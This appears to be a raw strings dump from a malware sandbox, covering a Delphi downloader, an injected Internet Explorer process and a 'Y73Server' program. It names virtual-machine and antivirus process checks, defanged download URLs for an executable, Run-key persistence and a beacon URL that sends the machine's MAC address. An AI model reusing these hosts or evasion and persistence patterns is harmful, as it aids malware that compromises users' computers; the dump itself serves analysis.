C:\Builds\TP\indysockets\lib\Core\IdScheduler.pas

C:\Builds\TP\indysockets\lib\Core\IdScheduler.pas

Mozilla/3.0 (compatible; Indy Library)

Mozilla/3.0 (compatible; Indy Library)

%d%s%d

%d%s%d

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSLHeaders.pas

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSLHeaders.pas

libeay32.dll

libeay32.dll

ssleay32.dll

ssleay32.dll

libssl32.dll

libssl32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate

SSL_CTX_use_certificate

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

X509_STORE_CTX_get_current_cert

DES_set_key

DES_set_key

_ossl_old_des_set_key

_ossl_old_des_set_key

des_set_key

des_set_key

RSA_generate_key

RSA_generate_key

RSA_check_key

RSA_check_key

i2d_PrivateKey_bio

i2d_PrivateKey_bio

X509_set_pubkey

X509_set_pubkey

X509_REQ_set_pubkey

X509_REQ_set_pubkey

PEM_write_bio_PKCS8PrivateKey

PEM_write_bio_PKCS8PrivateKey

PEM_read_bio_PrivateKey

PEM_read_bio_PrivateKey

EVP_PKEY_type

EVP_PKEY_type

EVP_PKEY_new

EVP_PKEY_new

EVP_PKEY_free

EVP_PKEY_free

EVP_PKEY_assign

EVP_PKEY_assign

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSL.pas

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSL.pas

C:\Builds\TP\indysockets\lib\Protocols\IdHTTP.pas

C:\Builds\TP\indysockets\lib\Protocols\IdHTTP.pas

application/x-www-form-urlencoded

application/x-www-form-urlencoded

https

https

HTTP/1.0 200 OK

HTTP/1.0 200 OK

HTTP/

HTTP/

Mozilla/5.0

Mozilla/5.0

00-00-00-00-00-00

00-00-00-00-00-00

VBoxService.exe

VBoxService.exe

ShadowTip.exe

ShadowTip.exe

PowerRemind.exe

PowerRemind.exe

ShadowService.exe

ShadowService.exe

/paramfile/main.txt

/paramfile/main.txt

360Tray.exe

360Tray.exe

/detail.ashx

/detail.ashx

/bestcount.ashx

/bestcount.ashx

/newcount.aspx

/newcount.aspx

hXXp://tongji.110160.com

hXXp://tongji.110160.com

/paramfile/tasklist.txt

/paramfile/tasklist.txt

/will.html

/will.html

;hXXp://downbase.oss-cn-qingdao.aliyuncs.com/OfficeAssist.0195.80.1054.exe;OfficeAssist.0195.80.1054.exe;0;0;

;hXXp://downbase.oss-cn-qingdao.aliyuncs.com/OfficeAssist.0195.80.1054.exe;OfficeAssist.0195.80.1054.exe;0;0;

hXXp://VVV.91debug.com/ad.html

hXXp://VVV.91debug.com/ad.html

hXXp://jc.110160.com/ad.htm

hXXp://jc.110160.com/ad.htm

Explorer.exe

Explorer.exe

firefox

firefox

chrome

chrome

opera

opera

hXXp://jc.110160.com

hXXp://jc.110160.com

\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Kernel32.dll

Kernel32.dll

Open SSL Support DLL Delphi and C Builder interface

Open SSL Support DLL Delphi and C Builder interface

hXXp://VVV.indyproject.org/

hXXp://VVV.indyproject.org/

1993 - 2009

1993 - 2009

ymeta.dat

ymeta.dat

SSL status: "%s"pUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.

SSL status: "%s"pUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.

Unsupported operation.&Cannot change the size of a JPEG image

Unsupported operation.&Cannot change the size of a JPEG image

JPEG error #%d

JPEG error #%d

(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

Error creating SSL context. Could not load root certificate.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

Could not load certificate.#Could not load key, check password.

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.

Reply Code is not valid: %s

Reply Code is not valid: %s

Reply Code already exists: %s

Reply Code already exists: %s

"%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)

"%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)

File "%s" not found

File "%s" not found

Object type not supported.

Object type not supported.

Already connected.'Maximum number of line allowed exceeded)UDP is not support in this SOCKS version.

Already connected.'Maximum number of line allowed exceeded)UDP is not support in this SOCKS version.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Command not supported.

Command not supported.

Address type not supported.

Address type not supported.

Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Invalid Port Range (%d - %d)

Invalid Port Range (%d - %d)

%s is not a valid service.

%s is not a valid service.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Operation would block.

Operation would block.

Operation now in progress.

Operation now in progress.

Operation already in progress.

Operation already in progress.

Socket operation on non-socket.

Socket operation on non-socket.

Protocol not supported.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

Protocol family not supported.0Address family not supported by protocol family.

Network is down.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Network is down.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Resolving hostname %s.

Resolving hostname %s.

Connecting to %s.

Connecting to %s.

Socket Error # %d

Socket Error # %d

- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.

- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

DCOM not installed"'%s' is not a valid property value

DCOM not installed"'%s' is not a valid property value

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

All Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form

All Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'

No help found for %s

No help found for %s

Scan line index out of range!Cannot change the size of an iconÊnnot change the size of a WIC Image Invalid operation on TOleGraphic$Unknown picture file extension (.%s)

Scan line index out of range!Cannot change the size of an iconÊnnot change the size of a WIC Image Invalid operation on TOleGraphic$Unknown picture file extension (.%s)

Unsupported clipboard format

Unsupported clipboard format

Invalid image size2Cannot call Start on a running or suspended thread'Parameter %s cannot be a negative value*Input buffer exceeded for %s = %d, %s = %d The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and

Invalid image size2Cannot call Start on a running or suspended thread'Parameter %s cannot be a negative value*Input buffer exceeded for %s = %d, %s = %d The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and

Invalid Timeout value: %s#''%s'' is not a valid integer value

Invalid Timeout value: %s#''%s'' is not a valid integer value

Error reading %s%s%s: %s

Error reading %s%s%s: %s

Failed to create key %s

Failed to create key %s

Failed to get data for '%s'

Failed to get data for '%s'

Failed to set data for '%s'

Failed to set data for '%s'

Resource %s not found

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Property %s does not exist

Thread creation error: %s

Thread creation error: %s

Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread#A component named %s already exists%String list does not allow duplicates

Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot create file "%s". %s

Cannot open file "%s". %s

Cannot open file "%s". %s

Invalid file name - %s

Invalid file name - %s

Invalid stream format$''%s'' is not a valid component name

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class

List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class

Invalid destination array"Character index out of bounds (%d)

Invalid destination array"Character index out of bounds (%d)

Start index out of bounds (%d)

Start index out of bounds (%d)

Invalid count (%d)

Invalid count (%d)

Invalid destination index (%d)

Invalid destination index (%d)

Ancestor for '%s' not found

Ancestor for '%s' not found

Cannot assign a %s to a %s

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)

A class named %s already exists%List does not allow duplicates ($0%x)

External exception %x

External exception %x

Interface not supported

Interface not supported

Object lock not owned(Monitor support function not initialized

Object lock not owned(Monitor support function not initialized

%s (%s, line %d)

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

System Error. Code: %d.

Invalid variant operation

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

Operation not supported

Invalid class typecast0Access violation at address %p. %s of address %p

Invalid class typecast0Access violation at address %p. %s of address %p

Operation aborted(Exception %s in module %s at %p.

Operation aborted(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

No argument for format '%s'"Variant method calls not supported

I/O error %d

I/O error %d

Integer overflow Invalid floating point operation

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid pointer operation

iexplore.exe_1300:

%?9-*09,*19}*09

%?9-*09,*19}*09

.text

.text

`.data

`.data

.rsrc

.rsrc

msvcrt.dll

msvcrt.dll

KERNEL32.dll

KERNEL32.dll

NTDLL.DLL

NTDLL.DLL

USER32.dll

USER32.dll

SHLWAPI.dll

SHLWAPI.dll

SHDOCVW.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

IE-X-X

rsabase.dll

rsabase.dll

System\CurrentControlSet\Control\Windows

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

dw15 -x -s %u

watson.microsoft.com

watson.microsoft.com

IEWatsonURL

IEWatsonURL

%s -h %u

%s -h %u

iedw.exe

iedw.exe

Iexplore.XPExceptionFilter

Iexplore.XPExceptionFilter

jscript.DLL

jscript.DLL

mshtml.dll

mshtml.dll

mlang.dll

mlang.dll

urlmon.dll

urlmon.dll

wininet.dll

wininet.dll

shdocvw.DLL

shdocvw.DLL

browseui.DLL

browseui.DLL

comctl32.DLL

comctl32.DLL

IEXPLORE.EXE

IEXPLORE.EXE

iexplore.pdb

iexplore.pdb

ADVAPI32.dll

ADVAPI32.dll

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

IExplorer.EXE

IExplorer.EXE

IIIIIB(II<.fg>

IIIIIB(II<.fg>

7?_____ZZSSH%

7?_____ZZSSH%

)z.UUUUUUUU

)z.UUUUUUUU

,....Qym

,....Qym

````2```

````2```

{.QLQIIIKGKGKGKGKGKG

{.QLQIIIKGKGKGKGKGKG

;33;33;0

;33;33;0

8888880

8888880

8887080

8887080

browseui.dll

browseui.dll

shdocvw.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

6.00.2900.5512 (xpsp.080413-2105)

Windows

Windows

Operating System

Operating System

6.00.2900.5512

6.00.2900.5512

Y73Server.exe_348:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

FtPQ

FtPQ

8Shl%D

8Shl%D

ShX%D

ShX%D

CNotSupportedException

CNotSupportedException

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

ntdll.dll

kernel32.dll

kernel32.dll

%s%s.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

CHttpFile

CHttpFile

hXXp://

hXXp://

WININET.DLL

WININET.DLL

CCmdTarget

CCmdTarget

hhctrl.ocx

hhctrl.ocx

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

Afx:%p:%x

commctrl_DragListMsg

commctrl_DragListMsg

comctl32.dll

comctl32.dll

comdlg32.dll

comdlg32.dll

shell32.dll

shell32.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewform.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewform.cpp

mfcm90.dll

mfcm90.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

ole32.dll

ole32.dll

user32.dll

user32.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

operator

operator

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

OLEACC.dll

OLEACC.dll

setting.ini

setting.ini

{F62B083E-1C42-47b6-98CE-660DA67AA3D4}

{F62B083E-1C42-47b6-98CE-660DA67AA3D4}

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Uninstall\Y73

Software\Microsoft\Windows\CurrentVersion\Uninstall\Y73

hXXp://tja.Y73.com:82/do1.php?cid=%d-%d&mac=%s&k=%d

hXXp://tja.Y73.com:82/do1.php?cid=%d-%d&mac=%s&k=%d

%Program Files%\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

%Program Files%\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

%s (%s:%d)

%s (%s:%d)

so.y73.com

so.y73.com

hXXp://%s:73/

hXXp://%s:73/

C:\Projects\Y73\Release\Y73Server.pdb

C:\Projects\Y73\Release\Y73Server.pdb

IPHLPAPI.DLL

IPHLPAPI.DLL

GetCPInfo

GetCPInfo

GetConsoleOutputCP

GetConsoleOutputCP

KERNEL32.dll

KERNEL32.dll

CreateDialogIndirectParamA

CreateDialogIndirectParamA

GetKeyState

GetKeyState

SetWindowsHookExA

SetWindowsHookExA

UnhookWindowsHookEx

UnhookWindowsHookEx

USER32.dll

USER32.dll

GetViewportExtEx

GetViewportExtEx

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GDI32.dll

GDI32.dll

COMDLG32.dll

COMDLG32.dll

WINSPOOL.DRV

WINSPOOL.DRV

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyExA

RegDeleteKeyA

RegDeleteKeyA

RegEnumKeyA

RegEnumKeyA

RegOpenKeyA

RegOpenKeyA

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

COMCTL32.dll

COMCTL32.dll

UrlUnescapeA

UrlUnescapeA

SHLWAPI.dll

SHLWAPI.dll

oledlg.dll

oledlg.dll

OLEAUT32.dll

OLEAUT32.dll

WS2_32.dll

WS2_32.dll

InternetCrackUrlA

InternetCrackUrlA

InternetCanonicalizeUrlA

InternetCanonicalizeUrlA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

.PAVCOleException@@

.PAVCOleException@@

.PAVCObject@@

.PAVCObject@@

.PAVCMemoryException@@

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCSimpleException@@

.PAVCNotSupportedException@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCResourceException@@

.PAVCUserException@@

.PAVCUserException@@

.?AVCHttpFile@@

.?AVCHttpFile@@

.?AVCCmdUI@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

.PAVCFileException@@

.PAVCOleDispatchException@@

.PAVCOleDispatchException@@

zcÁ

zcÁ

.?AVCCmdTarget@@

.?AVCCmdTarget@@

.PAVCInternetException@@

.PAVCInternetException@@

.PAVCException@@

.PAVCException@@

%Program Files%\Y73

%Program Files%\Y73

\Y73Server.exe

\Y73Server.exe

hXXp://61.196.186.155:73/

hXXp://61.196.186.155:73/

\setting.ini

\setting.ini

0 0&0,020=1`1

0 0&0,020=1`1

1 222>2`2

1 222>2`2

;\

;\

1%1*1@3}3

1%1*1@3}3

>'>,>0>4>]>

>'>,>0>4>]>

6l6

6l6

1 1$1(1,101|1

1 1$1(1,101|1

accKeyboardShortcut

accKeyboardShortcut

ekernel32.dll

ekernel32.dll

mscoree.dll

mscoree.dll

KERNEL32.DLL

KERNEL32.DLL

6.0.0.0

6.0.0.0

Y73Server.exe

Y73Server.exe

(*.*)

(*.*)

Y73Server.exe_348_rwx_00CD8000_00001000:

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

%Program Files%\Y73

%Program Files%\Y73

\setting.ini

\setting.ini

MiLai.exe_2972:

.text

.text

`.itext

`.itext

`.data

`.data

.idata

.idata

.rdata

.rdata

@.reloc

@.reloc

B.rsrc

B.rsrc

kernel32.dll

kernel32.dll

Windows

Windows

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

oleaut32.dll

EVariantBadIndexError

EVariantBadIndexError

ssShift

ssShift

htKeyword

htKeyword

EInvalidOperation

EInvalidOperation

%s[%d]

%s[%d]

%s_%d

%s_%d

USER32.DLL

USER32.DLL

comctl32.dll

comctl32.dll

TaskDialogIndirect

TaskDialogIndirect

EInvalidGraphicOperation

EInvalidGraphicOperation

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

uxtheme.dll

uxtheme.dll

DWMAPI.DLL

DWMAPI.DLL

UrlMon

UrlMon

shell32.dll

shell32.dll

PasswordChar

PasswordChar

OnKeyDown

OnKeyDown

OnKeyPressx

OnKeyPressx

OnKeyUp

OnKeyUp

ssHorizontal

ssHorizontal

clWebSnow

clWebSnow

clWebFloralWhite

clWebFloralWhite

clWebLavenderBlush

clWebLavenderBlush

clWebOldLace

clWebOldLace

clWebIvory

clWebIvory

clWebCornSilk

clWebCornSilk

clWebBeige

clWebBeige

clWebAntiqueWhite

clWebAntiqueWhite

clWebWheat

clWebWheat

clWebAliceBlue

clWebAliceBlue

clWebGhostWhite

clWebGhostWhite

clWebLavender

clWebLavender

clWebSeashell

clWebSeashell

clWebLightYellow

clWebLightYellow

clWebPapayaWhip

clWebPapayaWhip

clWebNavajoWhite

clWebNavajoWhite

clWebMoccasin

clWebMoccasin

clWebBurlywood

clWebBurlywood

clWebAzure

clWebAzure

clWebMintcream

clWebMintcream

clWebHoneydew

clWebHoneydew

clWebLinen

clWebLinen

clWebLemonChiffon

clWebLemonChiffon

clWebBlanchedAlmond

clWebBlanchedAlmond

clWebBisque

clWebBisque

clWebPeachPuff

clWebPeachPuff

clWebTan

clWebTan

clWebYellow

clWebYellow

clWebDarkOrange

clWebDarkOrange

clWebRed

clWebRed

clWebDarkRed

clWebDarkRed

clWebMaroon

clWebMaroon

clWebIndianRed

clWebIndianRed

clWebSalmon

clWebSalmon

clWebCoral

clWebCoral

clWebGold

clWebGold

clWebTomato

clWebTomato

clWebCrimson

clWebCrimson

clWebBrown

clWebBrown

clWebChocolate

clWebChocolate

clWebSandyBrown

clWebSandyBrown

clWebLightSalmon

clWebLightSalmon

clWebLightCoral

clWebLightCoral

clWebOrange

clWebOrange

clWebOrangeRed

clWebOrangeRed

clWebFirebrick

clWebFirebrick

clWebSaddleBrown

clWebSaddleBrown

clWebSienna

clWebSienna

clWebPeru

clWebPeru

clWebDarkSalmon

clWebDarkSalmon

clWebRosyBrown

clWebRosyBrown

clWebPaleGoldenrod

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebLightGoldenrodYellow

clWebOlive

clWebOlive

clWebForestGreen

clWebForestGreen

clWebGreenYellow

clWebGreenYellow

clWebChartreuse

clWebChartreuse

clWebLightGreen

clWebLightGreen

clWebAquamarine

clWebAquamarine

clWebSeaGreen

clWebSeaGreen

clWebGoldenRod

clWebGoldenRod

clWebKhaki

clWebKhaki

clWebOliveDrab

clWebOliveDrab

clWebGreen

clWebGreen

clWebYellowGreen

clWebYellowGreen

clWebLawnGreen

clWebLawnGreen

clWebPaleGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumAquamarine

clWebMediumSeaGreen

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkOliveGreen

clWebDarkgreen

clWebDarkgreen

clWebLimeGreen

clWebLimeGreen

clWebLime

clWebLime

clWebSpringGreen

clWebSpringGreen

clWebMediumSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebPaleTurquoise

clWebLightCyan

clWebLightCyan

clWebLightBlue

clWebLightBlue

clWebLightSkyBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebDarkBlue

clWebIndigo

clWebIndigo

clWebMediumTurquoise

clWebMediumTurquoise

clWebTurquoise

clWebTurquoise

clWebCyan

clWebCyan

clWebPowderBlue

clWebPowderBlue

clWebSkyBlue

clWebSkyBlue

clWebRoyalBlue

clWebRoyalBlue

clWebMediumBlue

clWebMediumBlue

clWebMidnightBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebDarkTurquoise

clWebCadetBlue

clWebCadetBlue

clWebDarkCyan

clWebDarkCyan

clWebTeal

clWebTeal

clWebDeepskyBlue

clWebDeepskyBlue

clWebDodgerBlue

clWebDodgerBlue

clWebBlue

clWebBlue

clWebNavy

clWebNavy

clWebDarkViolet

clWebDarkViolet

clWebDarkOrchid

clWebDarkOrchid

clWebMagenta

clWebMagenta

clWebDarkMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebMediumVioletRed

clWebPaleVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebBlueViolet

clWebMediumOrchid

clWebMediumOrchid

clWebMediumPurple

clWebMediumPurple

clWebPurple

clWebPurple

clWebDeepPink

clWebDeepPink

clWebLightPink

clWebLightPink

clWebViolet

clWebViolet

clWebOrchid

clWebOrchid

clWebPlum

clWebPlum

clWebThistle

clWebThistle

clWebHotPink

clWebHotPink

clWebPink

clWebPink

clWebLightSteelBlue

clWebLightSteelBlue

clWebMediumSlateBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebLightSlateGray

clWebWhite

clWebWhite

clWebLightgrey

clWebLightgrey

clWebGray

clWebGray

clWebSteelBlue

clWebSteelBlue

clWebSlateBlue

clWebSlateBlue

clWebSlateGray

clWebSlateGray

clWebWhiteSmoke

clWebWhiteSmoke

clWebSilver

clWebSilver

clWebDimGray

clWebDimGray

clWebMistyRose

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlateBlue

clWebDarkSlategray

clWebDarkSlategray

clWebGainsboro

clWebGainsboro

clWebDarkGray

clWebDarkGray

clWebBlack

clWebBlack

Proportional

Proportional

OnExecute

OnExecute

{43826d1e-e718-42ee-bc55-a1e261c37bfe}

{43826d1e-e718-42ee-bc55-a1e261c37bfe}

%s%s%s%s%s%s%s%s%s%s

%s%s%s%s%s%s%s%s%s%s

AutoHotkeys

AutoHotkeys

AutoHotkeys`

AutoHotkeys`

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

HelpKeyword

HelpKeyword

crSQLWait

crSQLWait

%s (%s)

%s (%s)

Wh,%F

Wh,%F

@8

@8

Vh,%F

Vh,%F

Sh,%F

Sh,%F

Ph,%F

Ph,%F

imm32.dll

imm32.dll

OnExecute@

OnExecute@

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

TWMKey

TWMKey

KeyPreview@

KeyPreview@

WindowStateD

WindowStateD

tagMSG

tagMSG

GlassFrame.Bottom

GlassFrame.Bottom
